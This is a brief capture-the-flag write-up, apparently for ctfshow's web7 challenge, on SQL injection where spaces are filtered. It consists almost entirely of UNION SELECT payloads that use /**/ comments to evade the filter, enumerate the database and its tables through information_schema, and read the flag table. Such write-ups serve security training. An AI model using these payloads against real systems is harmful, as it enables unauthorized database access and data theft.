ctfshow--web7 sql注入空格過濾

?id=10//union//select//1,database(),3//%23檢視庫名

檢視錶名
-1/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3/**/%23

檢視flag表下的flag欄位
-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3/**/%23